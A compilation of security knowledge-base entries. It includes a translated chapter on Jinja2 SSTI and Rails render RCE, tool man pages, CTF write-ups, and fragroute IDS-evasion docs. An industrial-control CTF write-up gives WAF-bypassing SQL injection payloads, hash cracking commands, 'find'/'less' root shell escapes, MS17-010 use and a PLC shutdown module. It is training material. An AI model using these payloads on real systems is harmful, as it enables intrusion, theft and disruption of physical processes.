![](img/16-2-1.jpg) 载荷注入后的`blog.organge.tw ` Uber 资料 这是产生的邮件: ![](img/16-2-2.jpg) 载荷注入后的`blog.organge.tw` Uber 邮件 你可以看到,在个人资料页面,实际的文本被渲染了,但是邮件实际上执行了代码并将其注入到邮件中。因此,漏洞是存在的,允许攻击者执行 Python 代码。 现在,Jinja2 尝试通过将执行放入沙箱中来缓和伤害,意思是功能有限,但是偶尔能被绕过。这个报告最开始由一个博文支持(它在更早的时候发布),并包含一些` nVisium.com`博客的不错的链接(是的,执行 Rails RCE 的同一个),它展示了如何绕过沙箱的功能: + https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2 + https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii > 重要结论 > 要注意站点使用什么功能,这些通常是如何利用站点的关键信息。这里,Flask 和 Jinja2 变成了极好的攻击向量。并且,在这个有一些 XSS 漏洞的例子中,漏洞可能不是那么直接或者明显,要确保检查了所有文本渲染的地方。这里,Uber 站点的资料名称展示了纯文本,但是邮件实际上存在漏洞。 ### 3\. Rails 动态渲染器 难度:中 URL:无 报告链接:`https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752` 报告日期:2015.2.1 奖金:无 描述: 在这个利用的研究中,nVisium 提供了一个 NB 的截断和遍历。基于他们的 WriteUp,RoR 的控制器在 Rails APP 中负责业务逻辑。这个框架提供了一些不错的健壮的功能,包括哪些内容需要渲染用户,基于传给渲染方法的简单值。 处理 Rails 的时候,开发者能够隐式或者显式控制渲染什么,基于传给函数的参数。所以,开发者能够显式控制作为文本、JSON、HTML,或者一些其他文件的内容。 使用这个功能,开发者就能够接收在 URL 中传入的参数,将其传给 Rails,它用于判断要渲染的文件。所以,Rails 会寻找一些东西,例如`app/views/user/#{params[:template]}`。 nVisium 使用了在后台中传递的示例,它可能会渲染`.html`、`.haml`、`.html.reb`后台视图。收到调用之后,Rails 会在目录中扫描匹配 Rails 约定的文件类型(Rails 的理念是约定优于配置)。但是,当你让 Rails 渲染一些东西,并且它找不到合适的文件来使用,他就会在`RAILS_ROOT/app/views`,`RAILS_ROOT`和系统根目录中搜索。 这就是问题的一部分。`RAILS_ROOT`指代你的 APP 的根目录,在这里寻找很有意义。系统的根目录却没有,并且这很危险。 所以,使用它,你可以传入` %2f%2fpasswd`,Rails 会打印出你的`/etc/passwd`文件。很可怕。 现在,让我们进一步,如果你传入`<%25%3dls%25>`,它会解释为`<%= ls %>`。在 ERB 模板语言中,`<%= %>`表示要背执行和打印的代码。所以这里,这是要执行的命令,或者允许远程代码执行。 > 重要结论 > 这个漏洞并不存在于每个 Rails 站点 - 它取决于站点如何编码。因此,这不是自动化工具能够解决的事情。当你知道站点使用 Rails 构建一定要注意,因为它遵循通用的 URL 约定 - 基本上,它的`/controller/id `用于简单的 GET 请求,或者`/controller/id/edit`用于编辑,以及其他。 > 当你看到这个 URL 模式时,开始玩玩吧。传入非预期的值并观察返回了什么。 ## 总结 搜索漏洞时,尝试并识别底层的技术(框架、前端渲染引擎、以及其他)是个不错的理念,以便发现可能的攻击向量。模板引擎的不同变种,使我们难于准确地说,什么适用于所有环境,但是,知道用了什么技术会有帮助。要留意一些机会,其中你可控制的文本在页面上,或者一些其他地方(例如邮件)渲染给你。 {% endraw %}
sec-knowleage
mysqladmin === MySQL服务器管理客户端 ## 补充说明 **mysqladmin命令** 是mysql服务器管理任务的客户端工具,它可以检查mytsql服务器的配置和当前工作状态,创建和删除数据库,创建用户和修改用户密码等操作。 ### 语法 ```shell mysqladmin(选项)(参数) ``` ### 选项 ```shell -h:MySQL服务器主机名或ip地址; -u:连接MySQL服务器的用户名; -p:连接MySQL服务器的密码; --help:显示帮助信息。 ``` ### 参数 管理命令:需要在MySQL服务器上执行的管理命令。 **mysqladmin支持下列命令:** ```shell create databasename:创建一个新数据库; drop databasename:删除一个数据库及其所有表; extended-status:给出服务器的一个扩展状态消息; flush-hosts:清空所有缓存的主机; flush-logs:清空所有日志; flush-tables:清空所有表; flush-privileges:再次装载授权表(同reload); kill id,id,...:杀死mysql线程; password 新口令:将老密码改为新密码; ping:检查mysqld是否活着; processlist:显示服务其中活跃线程列表; reload:重载授权表; refresh:清空所有表并关闭和打开日志文件; shutdown:关掉服务器; status:给出服务器的简短状态消息; variables:打印出可用变量; version:得到服务器的版本信息。 ```
sec-knowleage
# be-quick-or-be-dead-2 Reversing, 275 points ## Description: > As you enjoy this [music](https://www.youtube.com/watch?v=CTt1vk9nM9c) even more, another executable **be-quick-or-be-dead-2** shows up. Can you run this fast enough too? Attached was a binary file. ## Solution: Let's run the file: ```console root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-2/v2# ./be-quick-or-be-dead-2 Be Quick Or Be Dead 2 ===================== Calculating key... You need a faster machine. Bye bye. ``` Time to analyze the program. We'll use Radare2. ```console r2 be-quick-or-be-dead-2 ``` Analyze the binary with `aa` and list the functions with `afl`: ``` [0x004005a0]> aa [x] Analyze all flags starting with sym. and entry0 (aa) [0x004005a0]> afl 0x004004e8 3 26 sym._init 0x00400520 1 6 sym.imp.putchar 0x00400530 1 6 sym.imp.puts 0x00400540 1 6 sym.imp.printf 0x00400550 1 6 sym.imp.alarm 0x00400560 1 6 sym.imp.__libc_start_main 0x00400570 1 6 sym.imp.__sysv_signal 0x00400580 1 6 sym.imp.exit 0x00400590 1 6 fcn.00400590 0x004005a0 1 41 entry0 0x004005d0 4 50 -> 41 sym.deregister_tm_clones 0x00400610 4 58 -> 55 sym.register_tm_clones 0x00400650 3 28 sym.__do_global_dtors_aux 0x00400670 4 38 -> 35 entry1.init 0x00400696 6 112 sym.decrypt_flag 0x00400706 4 69 sym.fib 0x0040074b 1 16 sym.calculate_key 0x0040075b 1 31 sym.alarm_handler 0x0040077a 3 84 sym.set_timer 0x004007ce 1 43 sym.get_key 0x004007f9 1 40 sym.print_flag 0x00400821 4 62 sym.header 0x0040085f 1 62 sym.main 0x004008a0 4 101 sym.__libc_csu_init 0x00400910 1 2 sym.__libc_csu_fini 0x00400914 1 9 sym._fini ``` The `main` function is similar to be-quick-or-be-dead-1. However, this time, if we disable the timer, we hang and the program does not return in a reasonable time. Like last time, the `get_key` function calls the `calculate_key` function, which holds the important logic: ```assembly [0x004007ce]> s sym.calculate_key [0x0040074b]> pdf / (fcn) sym.calculate_key 16 | sym.calculate_key (); | ; CALL XREF from sym.get_key (0x4007e1) | 0x0040074b 55 push rbp | 0x0040074c 4889e5 mov rbp, rsp | 0x0040074f bf2b040000 mov edi, 0x42b ; 1067 | 0x00400754 e8adffffff call sym.fib | 0x00400759 5d pop rbp \ 0x0040075a c3 ret [0x0040074b]> ``` This function calls `fib` with 1067 as a parameter. Believe it or not, `fib` calculates the nth member of the Fibonacci series: ``` .-------------------------------------------------. | [0x400706] | | (fcn) sym.fib 69 | | sym.fib (int arg1); | | ; var int local_24h @ rbp-0x24 | | ; var int local_14h @ rbp-0x14 | | ; arg int arg1 @ rdi | | ; CALL XREFS from sym.fib (0x400728, 0x400737) | | ; CALL XREF from sym.calculate_key (0x400754) | | push rbp | | mov rbp, rsp | | push rbx | | ; '(' | | sub rsp, 0x28 | | ; arg1 | | mov dword [local_24h], edi | | cmp dword [local_24h], 1 | | ja 0x400720;[ga] | `-------------------------------------------------' f t | | | '--------------------. .----------------' | | | .-----------------------------------. .-----------------------------------. | 0x400718 [gd] | | 0x400720 [ga] | | mov eax, dword [local_24h] | | mov eax, dword [local_24h] | | mov dword [local_14h], eax | | sub eax, 1 | | jmp 0x400741;[gc] | | mov edi, eax | `-----------------------------------' | call sym.fib;[gb] | v | mov ebx, eax | | | mov eax, dword [local_24h] | | | sub eax, 2 | | | mov edi, eax | | | call sym.fib;[gb] | | | add eax, ebx | | | mov dword [local_14h], eax | | `-----------------------------------' | v | | '--------------------. | | .----------------' | | | | .-------------------------------------. | 0x400741 [gc] | | ; CODE XREF from sym.fib (0x40071e) | | mov eax, dword [local_14h] | | ; '(' | | add rsp, 0x28 | | pop rbx | | pop rbp | | ret | `-------------------------------------' ``` So, we just need to find the 1067th Fibonacci number, and we're done. Here's the code (or at least, version 1 of it): ```python from ctypes import * import numpy as np np.seterr(all="ignore") class Memoize(object): def __init__(self, func): self.func = func self.cache = {} def __call__(self, *args): if args in self.cache: return self.cache[args] ret = self.func(*args) self.cache[args] = ret return ret @Memoize def fib(n): if n == 0: return np.uint32(0) elif n == 1: return np.uint32(1) return fib(n-2) + fib(n-1) requested_number = 1067 print(fib(requested_number)) ``` Note that we use numpy's uint32 in order to simulate the overflows that occur when adding 32-bit integers (as in the original assembly, where the result is returned in eax: `mov eax, dword [local_14h]`). Running the above code gives us the following error: ``` root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-2# python solve.py Traceback (most recent call last): File "solve.py", line 29, in <module> print(fib(requested_number)) File "solve.py", line 13, in __call__ ret = self.func(*args) File "solve.py", line 23, in fib return fib(n-2) + fib(n-1) [...] RuntimeError: maximum recursion depth exceeded ``` We fix that by calculating the series from bottom to top, i.e.: ```python requested_number = 1067 for i in range(requested_number): fib(i) print(fib(requested_number)) ``` This addition gives us the answer in less than a second: ```console root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-2# python solve.py 781077913 ``` Since patching with Radare2 in write mode is giving me incorrect results for an unknown reason, we'll patch with dd. First, we need to find the exact place to patch. `get_key` makes most sense: ```assembly [0x004005a0]> s sym.get_key [0x004007ce]> pdf / (fcn) sym.get_key 43 | sym.get_key (); | ; CALL XREF from sym.main (0x400887) | 0x004007ce 55 push rbp | 0x004007cf 4889e5 mov rbp, rsp | 0x004007d2 bfb8094000 mov edi, str.Calculating_key... ; 0x4009b8 ; "Calculating key..." | 0x004007d7 e854fdffff call sym.imp.puts ; int puts(const char *s) | 0x004007dc b800000000 mov eax, 0 | 0x004007e1 e865ffffff call sym.calculate_key | 0x004007e6 8905d4082000 mov dword [obj.key], eax ; obj.__TMC_END ; [0x6010c0:4]=0 | 0x004007ec bfcb094000 mov edi, str.Done_calculating_key ; 0x4009cb ; "Done calculating key" | 0x004007f1 e83afdffff call sym.imp.puts ; int puts(const char *s) | 0x004007f6 90 nop | 0x004007f7 5d pop rbp \ 0x004007f8 c3 ret ``` Instead of calling `sym.calculate_key`, we'll hardcode the result. We'd like to replace the `call sym.calculate_key` command with `mov eax, 781077913`. We can use `rasm2` to encode this instruction: ```console root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-2/v2# rasm2 'mov eax, 781077913' b8994d8e2e ``` Luckily, the length of both instructions is identical, so we can patch in-place. Therefore, at virtual address `0x004007e1`, we'd like to replace `e865ffffff` with `b8994d8e2e`. How do we find the offset in the binary itself? We will need to check the section table of the executable: ``` [0x004005a0]> iS [Sections] Nm Paddr Size Vaddr Memsz Perms Name 00 0x00000000 0 0x00000000 0 ---- 01 0x00000238 28 0x00400238 28 -r-- .interp 02 0x00000254 32 0x00400254 32 -r-- .note.ABI_tag 03 0x00000274 36 0x00400274 36 -r-- .note.gnu.build_id 04 0x00000298 28 0x00400298 28 -r-- .gnu.hash 05 0x000002b8 216 0x004002b8 216 -r-- .dynsym 06 0x00000390 101 0x00400390 101 -r-- .dynstr 07 0x000003f6 18 0x004003f6 18 -r-- .gnu.version 08 0x00000408 32 0x00400408 32 -r-- .gnu.version_r 09 0x00000428 24 0x00400428 24 -r-- .rela.dyn 10 0x00000440 168 0x00400440 168 -r-- .rela.plt 11 0x000004e8 26 0x004004e8 26 -r-x .init 12 0x00000510 128 0x00400510 128 -r-x .plt 13 0x00000590 8 0x00400590 8 -r-x .plt.got 14 0x000005a0 882 0x004005a0 882 -r-x .text 15 0x00000914 9 0x00400914 9 -r-x .fini 16 0x00000920 232 0x00400920 232 -r-- .rodata 17 0x00000a08 116 0x00400a08 116 -r-- .eh_frame_hdr 18 0x00000a80 500 0x00400a80 500 -r-- .eh_frame 19 0x00000e10 8 0x00600e10 8 -rw- .init_array 20 0x00000e18 8 0x00600e18 8 -rw- .fini_array 21 0x00000e20 8 0x00600e20 8 -rw- .jcr 22 0x00000e28 464 0x00600e28 464 -rw- .dynamic 23 0x00000ff8 8 0x00600ff8 8 -rw- .got 24 0x00001000 80 0x00601000 80 -rw- .got.plt 25 0x00001060 90 0x00601060 90 -rw- .data 26 0x000010ba 0 0x006010bc 12 -rw- .bss 27 0x000010ba 53 0x00000000 53 ---- .comment 28 0x00001b9c 268 0x00000000 268 ---- .shstrtab 29 0x000010f0 1992 0x00000000 1992 ---- .symtab 30 0x000018b8 740 0x00000000 740 ---- .strtab ``` Our virtual address appears in the following section: ``` Nm Paddr Size Vaddr Memsz Perms Name 14 0x000005a0 882 0x004005a0 882 -r-x .text ``` So we calculate: ``` 0x004007e1 - 0x004005a0 + 0x000005a0 = 0x7e1 ``` Let's verify we have the correct offset in the binary: ```console root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-2/v2# xxd -g 1 -s $((0x7e1)) -l 5 be-quick-or-be-dead-2 000007e1: e8 65 ff ff ff .e... ``` Now, we patch: ```console root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-2/v2# cp be-quick-or-be-dead-2 be-quick-or-be-dead-2_patched root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-2/v2# rasm2 'mov eax, 781077913' | xxd -p -r | dd conv=notrunc of=be-quick-or-be-dead-2_patched bs=1 seek=$((0x7e1)) 5+0 records in 5+0 records out 5 bytes copied, 0.00431698 s, 1.2 kB/s ``` The result: ``` root@kali:/media/sf_CTFs/pico/be-quick-or-be-dead-2/v2# ./be-quick-or-be-dead-2_patched Be Quick Or Be Dead 2 ===================== Calculating key... Done calculating key Printing flag: picoCTF{the_fibonacci_sequence_can_be_done_fast_ec58967b} ``` The flag: picoCTF{the_fibonacci_sequence_can_be_done_fast_ec58967b}
sec-knowleage
# Python 3 from signal import alarm from Crypto.Util.number import * import Crypto.Random as Random with open("secretkey", "r") as f: sk1 = int(f.readline(), 16) sk2 = int(f.readline(), 16) with open("publickey", "r") as f: n = int(f.readline(), 16) n2 = int(f.readline(), 16) g = int(f.readline(), 16) cbits = size(n2) mbits = size(n) b = mbits//2 def L(x, n): return (x - 1) // n def decrypt(c, sk1, sk2, n, n2): return L(pow(c, sk1, n2), n) * sk2 % n def run(fin, fout): alarm(1200) try: while True: line = fin.readline()[:4+cbits//4] ciphertext = int(line, 16) # Note: input is HEX m = decrypt(ciphertext, sk1, sk2, n, n2) fout.write(str((m >> b) & 1) + "\n") fout.flush() except: pass if __name__ == "__main__": run(sys.stdin, sys.stdout)
sec-knowleage
.\" You can view this file with: .\" nroff -man [filename] .\" .TH svnlook 1 .SH NAME svnlook \- Subversion 仓库检索工具 .SH "SYNOPSIS 总览" .TP \fBsvnlook\fP \fIcommand\fP \fI/path/to/repos\fP [\fIoptions\fP] [\fIargs\fP] .SH "OVERVIEW 概述" Subversion 是一个版本控制系统,允许保存旧版本的文件和目录 (通常是源代码),保存一个记录何人,何时,为何作出修改等等信息的日志,与 CVS,RCS 或者 SCCS 工具类似。 \fBSubversion\fP 保存着主控源文件的单一拷贝。这份拷贝被称为代码 ``仓库'' (``repository'');它包含所有的信息,从而可以从中获取这些文件在先前任何时间的版本。 要获得有关 Subversion 项目的更多信息,请访问 http://subversion.tigris.org。 Subversion 及其工具的文档,包括对 \fBsvn\fP,\fBsvnadmin\fP,\fBsvnserve\fP 和 \fBsnvlook\fP 程序详细的使用说明和解释,历史背景,哲学探讨和追求等等,可以从 http://svnbook.red-bean.com/ 找到。 运行 `svnlook help' 来阅读内建的工具文档。
sec-knowleage
--- title: fragroute categories: Information Gathering tags: [kali linux,fragroute,information gathering,evasion] date: 2016-10-24 14:40:23 --- 0x00 fragroute介绍 ------------- Fragroute能够截取、修改和重写向外发送的报文,实现了大部分的IDS攻击功能。Fragroute起重要作用的是一个简单的规则设置语言,以它去实现延迟、复制、丢弃、碎片、重叠、打印、重排、分割、源路由或其他一些向目标主机发送数据包的攻击。这个工具开发的本意是去测试入侵检测系统、防火墙、基本的TCP/IP堆栈的行为。 该工具是为了帮助测试网络入侵检测系统,防火墙和基本TCP/IP堆栈行为而编写的,请不要滥用此软件! 工具来源:http://www.monkey.org/~dugsong/fragroute/ [fragroute主页][1] | [Kali fragroute Repo仓库][2] - 作者:Dug Song - 证书:3-Clause BSD 0x01 fragroute功能 --------------- fragroute - 通过尝试规避使用分段数据包来测试NIDS ```shell root@kali:~# fragroute Usage: fragroute [-f file] dst Rules: delay first|last|random <ms> drop first|last|random <prob-%> dup first|last|random <prob-%> echo <string> ... ip_chaff dup|opt|<ttl> ip_frag <size> [old|new] ip_opt lsrr|ssrr <ptr> <ip-addr> ... ip_ttl <ttl> ip_tos <tos> order random|reverse print tcp_chaff cksum|null|paws|rexmit|seq|syn|<ttl> tcp_opt mss|wscale <size> tcp_seg <size> [old|new] ``` 0x02 fragtest功能 --------------- fragtest - 通过尝试规避使用分段数据包来测试NIDS ```shell root@kali:~# fragtest 用法: fragtest TESTS ... <host>    其中TESTS是以下(或“全部”)的任意组合:    ping 所有测试的先决条件    ip-opt 确定支持的IP选项(BROKEN)    ip-tracert 确定目标的路径    frag 尝试8字节的IP分片    frag-new 尝试8字节fwd重叠的IP分片,有利于新数据(BROKEN)    frag-old 尝试8字节fwd重叠的IP分片,有利于旧数据    frag-timeout 确定IP片段重组超时(BROKEN) ``` 0x03 fragroute用法示例 ----------------- ```shell root@kali:~# fragroute 192.168.1.123 fragroute: tcp_seg -> ip_frag -> ip_chaff -> order -> print 172.16.79.182.53735 > 192.168.1.123.80: S 617662291:617662291(0) win 29200 ``` 0x05 fragtest用法示例 ----------------- ```shell root@kali:~# fragtest ip-tracert frag-new 192.168.1.123 ip-tracert: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ``` [1]: http://www.monkey.org/~dugsong/fragroute/ [2]: http://git.kali.org/gitweb/?p=packages/fragroute.git;a=summary
sec-knowleage
# 流量分析 直接找 解 base64 STJzX0NvbUU= flag{I2s_ComE} --- # 协议分析 找 modbus 解 base64 ZmxhZ3tzNDVlZ1dUNH0= flag{s45egWT4} --- # 工程分析 proj.hwdev 要用 HaiwellScada 进行打开 运行后就有 flag 了 flag{oz5K5stdC3oNS1ouV60Lj} --- # 密码恢复 安装 力控科技监控组态软件ForceControl V7.0 打开 PCZ 文件 找到用户管理 发现账号 用星号密码查看器直接看 flag{elexadmin} --- # 逆向分析 改自身host文件,将chall.pwnable.tw解析到自己127.0.0.1 python起http服务 flag{7c123056b118a1fe} --- # 5G通讯协议 找 `GTP <GSM SMS>` flag{IC7856@qwe} --- # 官网 shiro getshell 然后 直接土豆提权 flag{CWDXIR2PI55LHVJR} --- # 工艺维护系统 弱口令 admin/admin123 登录通达后台 获取 cookie 后利用通达oa11.8上传 注意要 bypass disablefunc getshell flag{9KQLSBNZ5KTN8ZE3} --- # 厂级管理系统 根据提示扫到数据库备份 /Data/data.mdb 53ee1ac4f1a404af899a4f3136aa34e3 hashcat 爆出 md5 是 aaaant 登录后在 界面风格-模板管理 直接新建一个 aspx 土豆提取 getshell flag{CCJX64D2FXBVLPWR} --- # 5G网智能管理平台 S2 框架 白送的题 flag{MZNWGVEOYDJ2HX4A} --- # 办公仓储应用 手工注入 获取hash ``` admin' a and nd updatexml(1,concat(0x7e,version(),0x7e),1)# user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(table_name) fr from om information_schema.tables whe where re table_schema like database()),0x7e),1)# ``` 操作数据库失败XPATH syntax error: '~bees_admin,bees_admin_group,bee' ``` user=admin' a and nd updatexml(1,concat(0x7e,(selselectect admin_password fr from om beescms.bees_admin wh where ere admin_name like 'admin'),0x7e),1)# user=admin' a and nd updatexml(1,concat(0x7e,substr((selselectect admin_password fr from om beescms.bees_admin wh where ere admin_name like 'admin'),24,64),0x7e),1)# ``` 获取md5长度有限分两次跑,拼接如下 4e9f837b6543e963aef344abbdfa9d04 .\hashcat.exe -m 0 4e9f837b6543e963aef344abbdfa9d04 -a 3 --increment --increment-min 1 --increment-max 8 ?a?a?a?a?a?a?a?a hashcat 跑出来是 ddddhm 文件上传绕过 利用 find 可以提权 ``` cd /tmp touch test find test -exec cat /root/flag.txt \; ``` flag{CO4U1WZV1I2U1JVI} --- # ERP 弱口令 admin/admin888 后台大小 php 后缀绕过上传限制 /home/www 下有 .passwd 是 www 用户的 ssh 密码 登陆后查看 cat /etc/sudoers 使用 less 提权 sudo /bin/less /opt/lampp/logs/access_log !/bin/sh --- # 石化废液 ## 石化废液操作员站 2曾上架设 nps 目标为xp,存在 17-010 回弹失败,尝试用 msf 的 ms17_010_command 直接执行命令 添加管理员账号密码,桌面找 flag ## 石化废液PLC 在 C:\Documents and Settings\ELEX-guest\桌面\simulation_PLC\simulation_plc\WebCfg 找到 KvWebUser.dat 查看找到疑似密码 使用 Admin adminTE 成功登录运行系统,改为手动模式 --- 另一种解法是 simulation_plc 直接修改系统管理员密码进行登录 --- 还有一种解法 test/123456 登录,登陆后修改任意用户密码 ## 石化废液场景题 管理员登录后,即可控制泵的运行,可以启动泵,点击 start 即可 --- # 油气集输 ## 油气集输操作员站 弱口令 admin/000000 登陆后有 flag ## 油气集输场景题 登录后,上面已经打开了油气传输控制管理界面,直接停止即可 --- 另一种解法 netstat 确定 plc 地址 观察到箱子里 plc 大概是施耐德 M340,用 msf auxiliary/admin/scada/modicon_command 模块直接关闭 ## 油气集输plc 使用 modscan32 连接目标 502 端口 --- # 电力场景 ## 电力场景操作员站 弱口令 test/123456 登陆后查看管理员最近使用的文件, c:\PS6900\Opnote\操作票 里面有flag ## 电力场景题 查看异常日志文件,有个 202009.evt 时间戳不一致,打开是 hex 的 flag 解码一下即可 ## 电力通信服务器 用桌面 111111 文件替换 C:\PS6900\data\password.dat 文件 使用 test/11111 登录上位机软件即可更改任何闸门
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "POSTGRES" "1" "2003-11-02" "Application" "PostgreSQL Server Applications" .SH NAME postgres \- 以单用户模式运行一个 PostgreSQL服务器 .SH SYNOPSIS .sp \fBpostgres\fR\fR [ \fR\fB-A \fR\fB 0\fR | \fB1\fR\fB \fR\fR]\fR\fR [ \fR\fB-B \fInbuffers\fB \fR\fR]\fR\fR [ \fR\fB-c \fIname\fB=\fIvalue\fB \fR\fR]\fR\fR [ \fR\fB-d \fIdebug-level\fB \fR\fR]\fR\fR [ \fR\fB--describe-config \fR\fR]\fR\fR [ \fR\fB-D \fIdatadir\fB \fR\fR]\fR\fR [ \fR\fB-e \fR\fR]\fR\fR [ \fR\fB-E \fR\fR]\fR\fR [ \fR\fB-f \fR\fB s\fR | \fBi\fR | \fBt\fR | \fBn\fR | \fBm\fR | \fBh\fR\fB \fR\fR]\fR\fR [ \fR\fB-F \fR\fR]\fR\fR [ \fR\fB-N \fR\fR]\fR\fR [ \fR\fB-o \fIfilename\fB \fR\fR]\fR\fR [ \fR\fB-O \fR\fR]\fR\fR [ \fR\fB-P \fR\fR]\fR \fR[\fR \fB-s\fR\fR | \fR\fB-t \fR\fB pa\fR | \fBpl\fR | \fBex\fR\fB\fR\fR ]\fR\fR [ \fR\fB-S \fIsort-mem\fB \fR\fR]\fR\fR [ \fR\fB-W \fIseconds\fB \fR\fR]\fR\fR [ \fR\fB--\fIname\fB=\fIvalue\fB \fR\fR]\fR \fB\fIdatabase\fB\fR \fBpostgres\fR\fR [ \fR\fB-A \fR\fB 0\fR | \fB1\fR\fB \fR\fR]\fR\fR [ \fR\fB-B \fInbuffers\fB \fR\fR]\fR\fR [ \fR\fB-c \fIname\fB=\fIvalue\fB \fR\fR]\fR\fR [ \fR\fB-d \fIdebug-level\fB \fR\fR]\fR\fR [ \fR\fB-D \fIdatadir\fB \fR\fR]\fR\fR [ \fR\fB-e \fR\fR]\fR\fR [ \fR\fB-f \fR\fB s\fR | \fBi\fR | \fBt\fR | \fBn\fR | \fBm\fR | \fBh\fR\fB \fR\fR]\fR\fR [ \fR\fB-F \fR\fR]\fR\fR [ \fR\fB-o \fIfilename\fB \fR\fR]\fR\fR [ \fR\fB-O \fR\fR]\fR\fR [ \fR\fB-p \fIdatabase\fB \fR\fR]\fR\fR [ \fR\fB-P \fR\fR]\fR \fR[\fR \fB-s\fR\fR | \fR\fB-t \fR\fB pa\fR | \fBpl\fR | \fBex\fR\fB\fR\fR ]\fR\fR [ \fR\fB-S \fIsort-mem\fB \fR\fR]\fR\fR [ \fR\fB-v \fIprotocol\fB \fR\fR]\fR\fR [ \fR\fB-W \fIseconds\fB \fR\fR]\fR\fR [ \fR\fB--\fIname\fB=\fIvalue\fB \fR\fR]\fR .SH "DESCRIPTION 描述" .PP 可执行程序 \fBpostgres\fR 是真正处理查询的 PostgreSQL 服务器进程。 通常它是不会被直接调用的;而是启动一个 postmaster 多用户服务器。 .PP 上面的第二种形式就是 \fBpostmaster\fR(1) 调用 postgres 的方法(只是概念上的,因为 postmaster 和 postgres 实际上是一样的程序); 我们不能这样直接调用它。第一种形式以交互单用户模式直接调用该服务器。 这种用法的主要用途是在 initdb 做初始化时用。有时候它被用做调试灾难性恢复。 .PP 当从 shell 上以交互模式调用时,用户可以输入查询并且结果会打印在屏幕上, 不过格式对开发人员更有用,对用户却差好多。 不过请记住,运行一个单用户服务器并不适合于调试该服务器, 因为没有实际的进程间通讯和锁动作发生。 .PP 当运行一个单用户服务器时,将把会话用户设置为 ID 为 1 的用户。 该用户不必实际存在,因此一个独立运行的服务器可以用于对某些意外损坏的系统表中进行手工恢复。 在独立运行模式下,系统隐含地赋予 ID 为 1 的用户超级用户权限。 .SH "OPTIONS 选项" .PP 如果 \fBpostgres\fR 是由一个 \fBpostmaster\fR(1) 启动的,那么它继承后者的所有选项集。另外 \fBpostgres\fR 相关的选项可以用 -o 开关从 \fBpostmaster\fR(1) 传递。 .PP 你可以通过设置一个配置文件来避免键入这些选项。 参阅Section 16.4获取细节。 有些(安全的)选项还可以从联接过来的客户端设置, 这样就获得了一种应用无关的方法。 比如,如果设置了 \fBPGOPTIONS\fR 环境变量, 那么基于 libpq 的客户端就都把那个字串传递给服务器, 会解释成 postgres 命令行选项。 .SS "GENERAL PURPOSE 通用用途" .PP 选项 \fB-A\fR, \fB-B\fR, \fB-c\fR, \fB-d\fR, \fB-D\fR, \fB-F\fR, 和 \fB--\fIname\fB\fR 和 \fBpostmaster\fR(1) 里的有相同的含义。只是 -d 0 避免 \fBpostmaster\fR(1) 的调试级别传播到 postgres。 .TP \fB-e\fR 把缺省日期风格设置为 "European",也就是说用"DMY"规则解释日期输入, 并且在一些日期输出格式里日子在月份前面打印。 参阅 Section 8.5 ``Date/Time Types'' 获取更多细节。 .TP \fB-o \fIfilename\fB\fR 把所有服务器日志输出到 filename。 如果服务器是由 postmaster运行的, 则忽略这个选项,并且使用从 postmaster 继承过来的stderr。 .TP \fB-P\fR 扫描/更新系统记录时忽略系统表。对系统表/索引使用 REINDEX 时需要这个选项。 .TP \fB-s\fR 在每条命令结束时打印时间信息和其他统计信息。 这个开关对测试性能和调节缓冲区数量有好处。 .TP \fB-S \fIsort-mem\fB\fR 声明内部排序和散列在求助于临时磁盘文件之前可以使用的内存数量。 该值是以 KB (千字节)为单位的,缺省是 1024 KB。 注意对于复杂查询,可能有好几个并行的排序和/或散列, 而在它们把数据放到临时文件前,每个都会允许使用最多 \fIsort-mem\fR KB的内存。 .SS "OPTIONS FOR STAND-ALONE MODE 单用户模式的选项" .TP \fB\fIdatabase\fB\fR 声明要访问的数据库的名字。如果忽略掉则缺省为用户名。 .TP \fB-E\fR 回显所有命令。 .TP \fB-N\fR 禁止把新行作为语句分隔符。 .SS "SEMI-INTERNAL OPTIONS 半内部选项" .PP 还有几个其他的选项可以声明,主要用于调试用途。 这些东西在这里列出只是给 PostgreSQL 系统开发人员使用的。 我们强烈反对使用这些选项。 另外这些选项的任何一项都可能在未来版本中消失而不加说明。 .TP \fB-f { s | i | m | n | h }\fR 禁止某种扫描和连接方法的使用: s 和 i 分别关闭顺序和索引扫描,而 n,m,和 h 分别关闭嵌套循环,融合(merge)和散列连接。 .sp .RS .B "Note:" 注意: 顺序扫描和嵌套循环都不可能完全被关闭。 -fs 和 -fn 选项仅仅是在存在其他方法时阻 碍优化器使用这些方法罢了。 .RE .sp .TP \fB-O\fR 允许修改系统表的结构。这个参数用于 \fBinitdb\fR。 .TP \fB-p \fIdatabase\fB\fR 告诉服务器服务器它是由一个 postmaster 启动的并声明要使用的数据库等。 .TP \fB-t pa[rser] | pl[anner] | e[xecutor]\fR 打印与每个主要系统模块相关的查询记时统计。 它不能和 -s选项一块使用。 .TP \fB-v \fIprotocol\fB\fR 声明这次会话使用的前/服务器协议的版本数。 .TP \fB-W \fIseconds\fB\fR 一旦看见这个选项,进程就睡眠标出的秒数。 这样就给开发者一些时间把调试器附着在该服务器进程上。 .TP \fB--describe-config\fR 这个选项以 tab 分隔的 COPY 格式,倒出服务器内部配置变量,描述和缺省之。 设计它主要是给管理工具使用。 .SH "ENVIRONMENT 环境" .TP \fBPGDATA\fR 缺省数据目录位置 .PP 对于其它的在单用户模式里有一点点影响的环境变量,请参阅 \fBpostmaster\fR(1). .PP .SH "NOTES 注意" .PP 要停止运行一个查询,使用 SIGINT 给正在运行该命令的 postgres 进程发信号。 .PP 要告诉 postgres 重新读取配置文件, 使用一个 SIGHUP 信号。 通常我们最好给 postmaster 发送 SIGHUP; postmaster 将随后 SIGHUP 他的每个子进程。 但是有时候我们可能想只让一个 postgres 进程重装载配置文件。 .PP \fBpostmaster\fR 使用 SIGTERM 告诉postgres进程正常退出, 而 SIGQUIT 是不 经过正常清理的退出。 这些信号不应该由用户使用。 